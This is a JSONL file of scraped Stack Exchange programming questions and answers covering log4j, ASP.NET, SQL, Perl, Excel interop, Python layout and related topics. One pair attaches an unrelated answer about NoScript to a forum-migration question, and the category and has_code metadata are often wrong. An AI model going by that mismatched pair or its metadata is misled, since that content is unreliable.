{"id": "hf_0b41acdc02cc", "question": "<p>I would like to set the log file name for a log4j and log4net appender to have the current date.  We are doing Daily rollovers but the current log file does not have a date.  The log file name format would be </p>\n\n<pre><code>logname.2008-10-10.log\n</code></pre>\n\n<p>Anyone know the best way for me to do this?</p>\n\n<p>edit:  I forgot to mention that we would want to do this in log4net as well.  Plus any solution would need to be usable in JBoss.</p>\n", "question_body": "", "answer": "DailyRollingFileAppender is what you exactly searching for.\n```\n```\n<appender name=\"roll\" class=\"org.apache.log4j.DailyRollingFileAppender\">\n    <param name=\"File\" value=\"application.log\" />\n    <param name=\"DatePattern\" value=\".yyyy-MM-dd\" />\n    <layout class=\"org.apache.log4j.PatternLayout\"> \n      <param name=\"ConversionPattern\" \n          value=\"%d{yyyy-MMM-dd HH:mm:ss,SSS} [%t] %c %x%n  %-5p %m%n\"/>\n    </layout>\n  </appender>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.230717"}
{"id": "hf_1e6c37b3285b", "question": "<p>I am currently in the process of making a new ASP.net MVC website, and find myself using Html.Encode all over the place, which is good practice, but gets pretty messy. I think a good way to clean this up would be if I could overload an operator to automatically do Html encoding. </p>\n\n<p>Previously:</p>\n\n<pre><code>&lt;%= Html.Encode( ViewData['username'] ) %&gt;\n</code></pre>\n\n<p>Would be equivalent to:</p>\n\n<pre><code>&lt;%=h ViewData['username'] %&gt;\n</code></pre>\n\n<p>Anyone have any ideas how I could do this, maybe using an extension method or something?</p>\n", "question_body": "", "answer": "NOTE: This is an ugly and untested hack, I don't think I'd ever do this\n```\n```\npublic static String h (this System.Object o, System.Object viewData)\n{\n    return Html.Encode(viewData);\n}\n```\n```\nI'm not sure what type ViewData is, so I used Object here, it would be best to actually change the type in the real code.\nthis works by hanging an extension method off System.Object, so it is always available on all types...ugly, but it may do the job:\n```\n```\n<%=h(ViewData['username']) %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.367063"}
{"id": "hf_0a96cff66f45", "question": "<p>How do I transfer the users of a vBulletin forum to a new installation of IceBB?</p>\n", "question_body": "", "answer": "This is a rather random guess, but I wonder if the user is using an add-on like NoScript to control script execution and is not allowing scripts from Google Analytics to run.  I know this is possible because it's what I do :) I don't know if that would show up as the error you're seeing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.403455"}
{"id": "hf_339e866c6675", "question": "<p>We use a lot of of python to do much of our deployment and would be handy to connect to our TFS server to get information on iteration paths, tickets etc. I can see the webservice but unable to find any documentation. Just wondering if anyone knew of anything?</p>\n", "question_body": "", "answer": "The web services are not documented by Microsoft as it is not an officially supported route to talk to TFS.  The officially supported route is to use their\n.NET API\n.\nIn the case of your sort of application, the course of action I usually recommend is to create your own web service shim that lives on the TFS server (or another server) and uses their API to talk to the server but allows you to present the data in a nice way to your application.\nTheir object model simplifies the interactions a great deal (depending on what you want to do) and so it actually means less code over-all - but better tested and testable code and also you can work around things such as the NTLM auth used by the TFS web services.\nHope that helps,\nMartin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.427494"}
{"id": "hf_ed2b110c8d10", "question": "<p>I have a listbox that is databound to a Collection of objects.  The listbox is configured to display an identifier property of each object.  I would like to show a tooltip with information specific to the item within the listbox that is being hovered over rather than one tooltip for the listbox as a whole.</p>\n\n<p>I am working within WinForms and thanks to some helpful blog posts put together a pretty nice solution, which I wanted to share.</p>\n\n<p>I'd be interested in seeing if there's any other elegant solutions to this problem, or how this may be done in WPF.</p>\n", "question_body": "", "answer": "There are two main sub-problems one must solve in order to solve this problem:\nDetermine which item is being hovered over\nGet the MouseHover event to fire when the user has hovered over one item, then moved the cursor within the listbox and hovered over another item.\nThe first problem is rather simple to solve.  By calling a method like the following within your handler for MouseHover, you can determine which item is being hovered over:\n```\n```\nprivate ITypeOfObjectsBoundToListBox DetermineHoveredItem()\n{\n    Point screenPosition = ListBox.MousePosition;\n    Point listBoxClientAreaPosition = listBox.PointToClient(screenPosition);\n\n    int hoveredIndex = listBox.IndexFromPoint(listBoxClientAreaPosition);\n    if (hoveredIndex != -1)\n    {\n        return listBox.Items[hoveredIndex] as ITypeOfObjectsBoundToListBox;\n    }\n    else\n    {\n        return null;\n    }\n}\n```\n```\nThen use the returned value to set the tool-tip as needed.\nThe second problem is that normally the MouseHover event isn't fired again until the cursor has left the client area of the control and then come back.\nYou can get around this by wrapping the\n```\nTrackMouseEvent\n```\nWin32API call.\nIn the following code, the\n```\nResetMouseHover\n```\nmethod wraps the API call to get the desired effect: reset the underlying timer that controls when the hover event is fired.\n```\n```\npublic static class MouseInput\n{\n    // TME_HOVER\n    // The caller wants hover notification. Notification is delivered as a \n    // WM_MOUSEHOVER message.  If the caller requests hover tracking while \n    // hover tracking is already active, the hover timer will be reset.\n\n    private const int TME_HOVER = 0x1;\n\n    private struct TRACKMOUSEEVENT\n    {\n        // Size of the structure - calculated in the constructor\n        public int cbSize;\n\n        // value that we'll set to specify we want to start over Mouse Hover and get\n        // notification when the hover has happened\n        public int dwFlags;\n\n        // Handle to what's interested in the event\n        public IntPtr hwndTrack;\n\n        // How long it takes for a hover to occur\n        public int dwHoverTime;\n\n        // Setting things up specifically for a simple reset\n        public TRACKMOUSEEVENT(IntPtr hWnd)\n        {\n            this.cbSize = Marshal.SizeOf(typeof(TRACKMOUSEEVENT));\n            this.hwndTrack = hWnd;\n            this.dwHoverTime = SystemInformation.MouseHoverTime;\n            this.dwFlags = TME_HOVER;\n        }\n    }\n\n    // Declaration of the Win32API function\n    [DllImport(\"user32\")]\n    private static extern bool TrackMouseEvent(ref TRACKMOUSEEVENT lpEventTrack);\n\n    public static void ResetMouseHover(IntPtr windowTrackingMouseHandle)\n    {\n        // Set up the parameter collection for the API call so that the appropriate\n        // control fires the event\n        TRACKMOUSEEVENT parameterBag = new TRACKMOUSEEVENT(windowTrackingMouseHandle);\n\n        // The actual API call\n        TrackMouseEvent(ref parameterBag);\n    }\n}\n```\n```\nWith the wrapper in place, you can simply call\n```\nResetMouseHover(listBox.Handle)\n```\nat the end of your MouseHover handler and the hover event will fire again even when the cursor stays within the control's bounds.\nI'm sure this approach, sticking all the code in the MouseHover handler must result in more MouseHover events firing than are really necessary, but it'll get the job done.  Any improvements are more than welcome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.452182"}
{"id": "hf_6d5f33b9d0e7", "question": "<p>SqlDataReader is a faster way to process the stored procedure. What are some of the advantage/disadvantages of using SQLDataReader?</p>\n", "question_body": "", "answer": "It depends on what you need to do.  If you get back a page of results from the database (say 20 records), it would be better to use a data adapter to fill a DataSet, and bind that to something in the UI.\nBut if you need to process many records, 1 at a time, use SqlDataReader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.477308"}
{"id": "hf_a6ad405b2867", "question": "<p>In <a href=\"https://stackoverflow.com/users/23233/mmalc\">@mmalc's</a> <a href=\"https://stackoverflow.com/questions/155964/what-are-best-practices-that-you-use-when-writing-objective-c-and-cocoa#156288\">response</a> to <a href=\"https://stackoverflow.com/questions/155964/what-are-best-practices-that-you-use-when-writing-objective-c-and-cocoa\">this question</a> he states that \"In general you should <em>not</em> use accessor methods in dealloc (or init).\" Why does mmalc say this?</p>\n\n<p>The only really reasons I can think of are performance and avoiding unknown side-effects of @dynamic setters.</p>\n\n<p>Discussion?</p>\n", "question_body": "", "answer": "It's basically a guideline to minimize the potential for bugs.\nIn this case there is the (possibility) that your setter/getter may inadvertently make direct or indirect assumptions about the state of the object. These assumptions could be a problem when the object is in the midst of being setup or destroyed.\nFor example in the code below the observer does not know that 'Example' is being destroyed and could assume that other properties, which have already been freed, are valid.\n(You could argue that your object should remove all observers before tearing itself down, which would be good practice, and another guideline to prevent inadvertent problems).\n```\n```\n@implementation Example\n\n-(void) setFoo:(Foo*)foo\n{\n   _foo = foo;\n  [_observer onPropertyChange:self object:foo];\n}\n\n-(void) dealloc\n{\n   ...\n   self.foo = nil;\n}\n\n@end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.702325"}
{"id": "hf_87ebf40a7e65", "question": "<p>What's proper way to connect ODBC datasources and execute some SQL statements?</p>\n\n<p>TQuery and other BDE components can do it, but if I understood correctly they are now deprecated?</p>\n", "question_body": "", "answer": "You can use the ADO components:\n1) Drag a TAdoConnection from the dbGo tab.\n2) Right click and choose Edit connection string.\n3) Click build\n4) Select Microsoft OLE DB Provider for ODBC\n5) Click Next\nThen you will be able to select a database.\nYou can drag a TAdoQuery and connect it to the TAdoConnection to execute some queries.\nThe rest should be straight forward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.766672"}
{"id": "hf_34e9da898fd0", "question": "<p>Suppose I have an M-file that calculates, for exampleת <code>d=a+b+c</code> (The values on <code>a</code>, <code>b</code>, <code>c</code> were given earlier).   </p>\n\n<p>What command should I use in order to produce an output M-file showing the result of this sum?</p>\n", "question_body": "", "answer": "```\n```\ndisp(num2str(d));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.826590"}
{"id": "hf_b6bae16cfbb5", "question": "<p>Can I ignore a folder on svn checkout? I need to ignore DOCs folder on checkout at my build server.</p>\n\n<p><strong>edit:</strong> Ignore externals isn't an option. I have some externals that I need.</p>\n", "question_body": "", "answer": "No, ignore is only for adding files.\nYou can use sparse checkouts (if you use svn 1.5)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:26.889618"}
{"id": "hf_b22a6c462526", "question": "<p>Can you get the distinct combination of 2 different fields in a database table?  if so, can you provide the SQL example.</p>\n", "question_body": "", "answer": "How about simply:\n```\n```\nselect distinct c1, c2 from t\n```\n```\nor\n```\n```\nselect c1, c2, count(*)\nfrom t\ngroup by c1, c2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.071097"}
{"id": "hf_9823779a34c8", "question": "<p>I am trying to build a homebrew web brower to get more proficient at Cocoa. I need a good way to validate whether the user has entered a valid URL. I have tried some regular expressions but NSString has some interesting quirks and doesn't like some of the back-quoting that most regular expressions I've seen use.</p>\n", "question_body": "", "answer": "You could start with the\n```\n+ (id)URLWithString:(NSString *)URLString\n```\nmethod of\n```\nNSURL\n```\n, which returns\n```\nnil\n```\nif the string is malformed.\nIf you need further validation, you can use the\n```\nbaseURL\n```\n,\n```\nhost\n```\n,\n```\nparameterString\n```\n,\n```\npath\n```\n, etc methods to give you particular components of the URL, which you can then evaluate in whatever way you see fit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.122152"}
{"id": "hf_3a7a8e3e2093", "question": "<p>What's the fastest way to get a framebuffer and render to in software on the iPhone?</p>\n\n<p>Basically getting into a mode 13h style thing going so I can make some effects? :)</p>\n", "question_body": "", "answer": "You need to create a\n```\nCGImageContext\n```\n, in a bitmap format that you can directly manipulate. Then, you can draw that image on the screen, use it as a GL texture, or whatever.\nPretty simple stuff - check the Core Graphics documentation. I don't think there's a good way to get actual raw\n```\nframeBuffer\n```\naccess, but that's probably not what you really want, anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.146217"}
{"id": "hf_8cca2fcec112", "question": "<p>If I define a constant in a Perl module, how do I use that constant in my main program?  (Or how do I call that constant in the main program?)</p>\n", "question_body": "", "answer": "Constants can be exported just like other package symbols. Using the standard\nExporter\nmodule, you can export constants from a package like this:\n```\n```\npackage Foo;\nuse strict;\nuse warnings;\n\nuse base 'Exporter';\n\nuse constant CONST => 42;\n\nour @EXPORT_OK = ('CONST');\n\n1;\n```\n```\nThen, in a client script (or other module)\n```\n```\nuse Foo 'CONST';\nprint CONST;\n```\n```\nYou can use the\n```\n%EXPORT_TAGS\n```\nhash (see the Exporter documentation) to define groups of constants that can be exported with a single import argument.\nUpdate: Here's an example of how to use the\n```\n%EXPORT_TAGS\n```\nfeature if you have multiple constants.\n```\n```\nuse constant LARRY => 42;\nuse constant CURLY => 43;\nuse constant MOE   => 44;\n\nour @EXPORT_OK = ('LARRY', 'CURLY', 'MOE');\nour %EXPORT_TAGS = ( stooges => [ 'LARRY', 'CURLY', 'MOE' ] );\n```\n```\nThen you can say\n```\n```\nuse Foo ':stooges';\nprint \"$_\\n\" for LARRY, CURLY, MOE;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.290262"}
{"id": "hf_6a2ea23a62a8", "question": "<p>Languages like C and even C# (which technically doesn't have a preprocessor) allow you to write code like:</p>\n\n<pre><code>#DEFINE DEBUG\n...\n\nstring returnedStr = this.SomeFoo();\n#if DEBUG\n    Debug.WriteLine(\"returned string =\" + returnedStr);\n#endif\n</code></pre>\n\n<p>This is something I like to use in my code as a form of scaffolding, and I'm wondering if PHP has something like this. I'm sure I can emulate this with variables, but I imagine the fact that PHP is interpreted in most cases will not make it easy to strip/remove the debugging code (since its not needed) automatically when executing it.</p>\n", "question_body": "", "answer": "PHP doesn't have anything like this. but you could definitely whip up something quickly (and perhaps a regex parse to strip it out later if you wanted). i'd do it as such:\n```\n```\ndefine('DEBUG', true);\n...\nif (DEBUG):\n  $debug->writeLine(\"stuff\");\nendif;\n```\n```\nof course you'd have to write your own debug module to handle all that. if you wanted to make life easier on regex parsing, perhaps you could use a ternary operator instead:\n```\n```\n$str = 'string';\nDEBUG ? $debug->writeLine(\"stuff is \".$str) : null;\n```\n```\nwhich would make removing debug lines pretty trivial.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.315327"}
{"id": "hf_9e40b1e0bb13", "question": "<p>I'm building a .NET client application (C#, WinForms) that uses a web service for interaction with the database. The client will be run from remote locations using a WAN or VPN, hence the idea of using a web service rather than direct database access.</p>\n\n<p>The issue I'm grappling with right now is how to handle database concurrency. That is, if two people from different locations update the same data, how do I deal with it? I'm considering using timestamps on each database record and having that as part of the update where clauses, but that means that the timestamps have to move back and forth through the web service interface, which seems kind of ugly.</p>\n\n<p>What is the best way to approach this?</p>\n", "question_body": "", "answer": "I don't think you want your web service to talk directly to the database.  You probably want your service to interact with some type of business components who in turn interact with a data access layer.  Any concurrency exceptions can be passed from the DAL up to the business layer where they can be handled so that the web service never has to see the timestamps.\nBut if you are passing something like a data table up to the client and you want to avoid timestamps, you can do concurrency checking by comparing field by field.  The Table Adapter wizards generate this type of concurrency checking by default if you ask for optimistic concurrency checking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.340386"}
{"id": "hf_62e5d0fc2994", "question": "<p>I am just starting to fiddle with Excel via C# to be able to automate the creation, and addition to an Excel file.</p>\n\n<p>I can open the file and update its data and move through the existing worksheets. My problem is how can I add new sheets?</p>\n\n<p>I tried:</p>\n\n<pre><code>Excel.Worksheet newWorksheet;\nnewWorksheet = (Excel.Worksheet)excelApp.ThisWorkbook.Worksheets.Add(\n                Type.Missing, Type.Missing, Type.Missing, Type.Missing);\n</code></pre>\n\n<p>But I get below <em>COM Exception</em> and my googling has not given me any answer.</p>\n\n<blockquote>\n  <p>Exception from HRESULT: 0x800A03EC Source is: \"Interop.Excel\"</p>\n</blockquote>\n\n<p>I am hoping someone maybe able to put me out of my misery.</p>\n", "question_body": "", "answer": "You need to add a COM reference in your project to the\n\"\n```\nMicrosoft Excel 11.0 Object Library\n```\n\"\n- or whatever version is appropriate.\nThis code works for me:\n```\n```\nprivate void AddWorksheetToExcelWorkbook(string fullFilename,string worksheetName)\n{\n    Microsoft.Office.Interop.Excel.Application xlApp = null;\n    Workbook xlWorkbook = null;\n    Sheets xlSheets = null;\n    Worksheet xlNewSheet = null;\n\n    try {\n        xlApp = new Microsoft.Office.Interop.Excel.Application();\n\n        if (xlApp == null)\n            return;\n\n        // Uncomment the line below if you want to see what's happening in Excel\n        // xlApp.Visible = true;\n\n        xlWorkbook = xlApp.Workbooks.Open(fullFilename, 0, false, 5, \"\", \"\",\n                false, XlPlatform.xlWindows, \"\",\n                true, false, 0, true, false, false);\n\n        xlSheets = xlWorkbook.Sheets as Sheets;\n\n        // The first argument below inserts the new worksheet as the first one\n        xlNewSheet = (Worksheet)xlSheets.Add(xlSheets[1], Type.Missing, Type.Missing, Type.Missing);\n        xlNewSheet.Name = worksheetName;\n\n        xlWorkbook.Save();\n        xlWorkbook.Close(Type.Missing,Type.Missing,Type.Missing);\n        xlApp.Quit();\n    }\n    finally {\n        Marshal.ReleaseComObject(xlNewSheet);\n        Marshal.ReleaseComObject(xlSheets);\n        Marshal.ReleaseComObject(xlWorkbook);\n        Marshal.ReleaseComObject(xlApp);\n        xlApp = null;\n    }\n}\n```\n```\nNote that you want to be very careful about\nproperly cleaning up and releasing your COM object references\n. Included in that StackOverflow question is a useful rule of thumb:\n\"Never use 2 dots with COM objects\"\n. In your code; you're going to have real trouble with that.\nMy demo code above does NOT properly clean up the Excel app, but it's a start!\nSome other links that I found useful when looking into this question:\nOpening and Navigating Excel with C#\nHow to: Use COM Interop to Create an Excel Spreadsheet (C# Programming Guide)\nHow to: Add New Worksheets to Workbooks\nAccording to MSDN\nTo use COM interop, you must have\n  administrator or Power User security\n  permissions.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.418157"}
{"id": "hf_a70234f48521", "question": "<p>I am using Oracle SQL (in SQLDeveloper, using the SQL Worksheet).  I would like to print a statement before my select, such as</p>\n\n<pre><code>PRINT 'Querying Table1';\nSELECT * from Table1;\n</code></pre>\n\n<p>What do I use to Print / show text output?  It's not Print, because that gives me the error: Bind Variable <code>Table1</code> is NOT DECLARED.  DBMS_OUTPUT.PUT_LINE is an unknown command.  (Obviously, I'm an inexperienced SQLDeveloper and Oracle user.  There must be some synonym for Print, but I'm having trouble finding help on it without knowing what it is.)</p>\n", "question_body": "", "answer": "You could\nset echo\nto on:\n```\n```\nset echo on\nREM Querying table\nselect * from dual;\n```\n```\nIn SQLDeveloper, hit F5 to run as a script.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.467680"}
{"id": "hf_8375779c5029", "question": "<p>I have been scouring the web for a code sample that shows how to use pbuffer with GLUT but I could not find anything... </p>\n\n<p>I am puzzled with the context switching between pbuffer and the rendering window. I guess that I will have to use glutSetWindow to switch between the two rendering surface but I am not too sure about the details.</p>\n\n<p>Can someone explain me how to use a pbuffer with GLUT?</p>\n", "question_body": "", "answer": "The short answer is that there's no\ngood\nway of doing it.\nThe longer answer is that pbuffers are not cross-platform, so you necessarily have to use platform-specific APIs to access them. How you switch between rendering surfaces depends on your platform; on Windows you'd use wglMakeCurrent() and the like.\nThe meta-answer is that you should avoid pbuffers if at all possible -\nFBO\ns provide similar functionality but without this kind of problem, and with better performance too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.491366"}
{"id": "hf_e2a5a55cb0d8", "question": "<p>I need to have my iPhone Objective-C code catch Javascript errors in a UIWebView.  That includes uncaught exceptions, syntax errors when loading files, undefined variable references, etc.</p>\n\n<p>This is for a development environment, so it doesn't need to be SDK-kosher.  In fact, it only really needs to work on the simulator.</p>\n\n<p>I've already found used some of the hidden WebKit tricks to e.g. expose Obj-C objects to JS and to intercept alert popups, but this one is still eluding me.</p>\n\n<p>[NOTE: after posting this I did find one way using a debugging delegate.  Is there a way with lower overhead, using the error console / web inspector?]</p>\n", "question_body": "", "answer": "I have done this in firmware 1.x but not 2.x.\nHere is the code I used in 1.x, it should at least help you on your way.\n```\n```\n// Dismiss Javascript alerts and telephone confirms\n/*- (void)alertSheet:(UIAlertSheet*)sheet buttonClicked:(int)button\n{\n    if (button == 1)\n    {\n        [sheet setContext: nil];\n    }\n\n    [sheet dismiss];\n}*/\n\n// Javascript errors and logs\n- (void) webView: (WebView*)webView addMessageToConsole: (NSDictionary*)dictionary\n{\n    NSLog(@\"Javascript log: %@\", dictionary);\n}\n\n// Javascript alerts\n- (void) webView: (WebView*)webView runJavaScriptAlertPanelWithMessage: (NSString*) message initiatedByFrame: (WebFrame*) frame\n{\n    NSLog(@\"Javascript Alert: %@\", message);\n\n    UIAlertSheet *alertSheet = [[UIAlertSheet alloc] init];\n    [alertSheet setTitle: @\"Javascript Alert\"];\n    [alertSheet addButtonWithTitle: @\"OK\"];\n    [alertSheet setBodyText:message];\n    [alertSheet setDelegate: self];\n    [alertSheet setContext: self];\n    [alertSheet popupAlertAnimated:YES];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.515104"}
{"id": "hf_56f91f24a98e", "question": "<p>Is there a way to tell Enterprise Library to use prepared statements?  If so, how?</p>\n", "question_body": "", "answer": "You should be able to obtain the sqlConnection / Command being executed -> can't you set the relevant setting here before executing ??\nHope I've got the right end of the stick...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.538722"}
{"id": "hf_6b1e654484f7", "question": "<p>SQL Server (2005/2008)</p>\n\n<p>Each of the below statements have the same result. Does anyone know if one outperforms the other?</p>\n\n<pre><code>insert into SOMETABLE \n  values ('FieldOneValue','FieldTwoValue',3,4.55,'10/10/2008 16:42:00.000')\n\ninsert into SOMETABLE \n  select 'FieldOneValue','FieldTwoValue',3,4.55,'10/10/2008 16:42:00.000'\n\ninsert into SOMETALBE\n  Select\n    Field1 = 'FieldOneValue',\n    Field2 = 'FieldTwoValue',\n    Field3 = 3,\n    Field4 = 4.55,\n    Field5 = '10/10/2008 16:42:00.000'\n</code></pre>\n\n<p>Assuming of course that the data types match the table appropriately...</p>\n", "question_body": "", "answer": "It looks like you're just mimicking\n```\n```\nINSERT into SOMETABLE\n(\nSELECT * FROM SOMEOTHERTABLE\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.638055"}
{"id": "hf_d78faa3016d6", "question": "<p>Imagine that you want to develop a non-trivial end-user desktop (not web) application in Python. What is the best way to structure the project's folder hierarchy?</p>\n\n<p>Desirable features are ease of maintenance, IDE-friendliness, suitability for source control branching/merging, and easy generation of install packages.</p>\n\n<p>In particular:</p>\n\n<ol>\n<li>Where do you put the source?</li>\n<li>Where do you put application startup scripts?</li>\n<li>Where do you put the IDE project cruft?</li>\n<li>Where do you put the unit/acceptance tests?</li>\n<li>Where do you put non-Python data such as config files?</li>\n<li>Where do you put non-Python sources such as C++ for pyd/so binary extension modules?</li>\n</ol>\n", "question_body": "", "answer": "Doesn't too much matter.  Whatever makes you happy will work.  There aren't a lot of silly rules because Python projects can be simple.\n```\n/scripts\n```\nor\n```\n/bin\n```\nfor that kind of command-line interface stuff\n```\n/tests\n```\nfor your tests\n```\n/lib\n```\nfor your C-language libraries\n```\n/doc\n```\nfor most documentation\n```\n/apidoc\n```\nfor the Epydoc-generated API docs.\nAnd the top-level directory can contain README's, Config's and whatnot.\nThe hard choice is whether or not to use a\n```\n/src\n```\ntree.  Python doesn't have a distinction between\n```\n/src\n```\n,\n```\n/lib\n```\n, and\n```\n/bin\n```\nlike Java or C has.\nSince a top-level\n```\n/src\n```\ndirectory is seen by some as meaningless, your top-level directory can be the top-level architecture of your application.\n```\n/foo\n```\n```\n/bar\n```\n```\n/baz\n```\nI recommend putting all of this under the \"name-of-my-product\" directory.  So, if you're writing an application named\n```\nquux\n```\n, the directory that contains all this stuff is named\n```\n/quux\n```\n.\nAnother project's\n```\nPYTHONPATH\n```\n, then, can include\n```\n/path/to/quux/foo\n```\nto reuse the\n```\nQUUX.foo\n```\nmodule.\nIn my case, since I use Komodo Edit, my IDE cuft is a single .KPF file.  I actually put that in the top-level\n```\n/quux\n```\ndirectory, and omit adding it to SVN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.662296"}
{"id": "hf_b5e1a6dafb78", "question": "<p>Is there any way to get own phone number by standard APIs from iPhone SDK?</p>\n", "question_body": "", "answer": "No, there's no legal and reliable way to do this.\nIf you find a way, it will be disabled in the future, as it has happened with every method before.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.732504"}
{"id": "hf_287ae983e889", "question": "<p>What is the best way to <strong>display</strong> and <strong>print</strong> XPS files in a Windows Forms application?</p>\n", "question_body": "", "answer": "I think the easiest way is to use WPF, you can host a WPF control inside a WinForms application - you don't have to rewrite your GUI in WPF or anything like that.\nmore information here :\nhttp://msdn.microsoft.com/en-us/library/ms745781.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:27.769942"}
{"id": "hf_267f36177202", "question": "<p>Assuming a Read Committed Snapshot transaction isolation setting, is the following statement \"atomic\" in the sense that you won't ever \"lose\" a concurrent increment?</p>\n\n<pre><code>update mytable set counter = counter + 1\n</code></pre>\n\n<p>I would assume that in the general case, where this update statement is part of a larger transaction, that it wouldn't be. For example, I think this scenario is possible:</p>\n\n<ul>\n<li>update the counter within transaction #1</li>\n<li>do some other stuff\nin transaction #1</li>\n<li>update the counter\nwith transaction #2</li>\n<li>commit\ntransaction #2</li>\n<li>commit transaction #1</li>\n</ul>\n\n<p>In this situation, wouldn't the counter end up only being incremented by 1? Does it make a difference if that is the only statement in a transaction?</p>\n\n<p>How does a site like stackoverflow handle this for its question view counter? Or is the possibility of \"losing\" some increments just considered acceptable?</p>\n", "question_body": "", "answer": "No, it's not. The value is read in shared mode and then updated in exclusive mode, so multiple 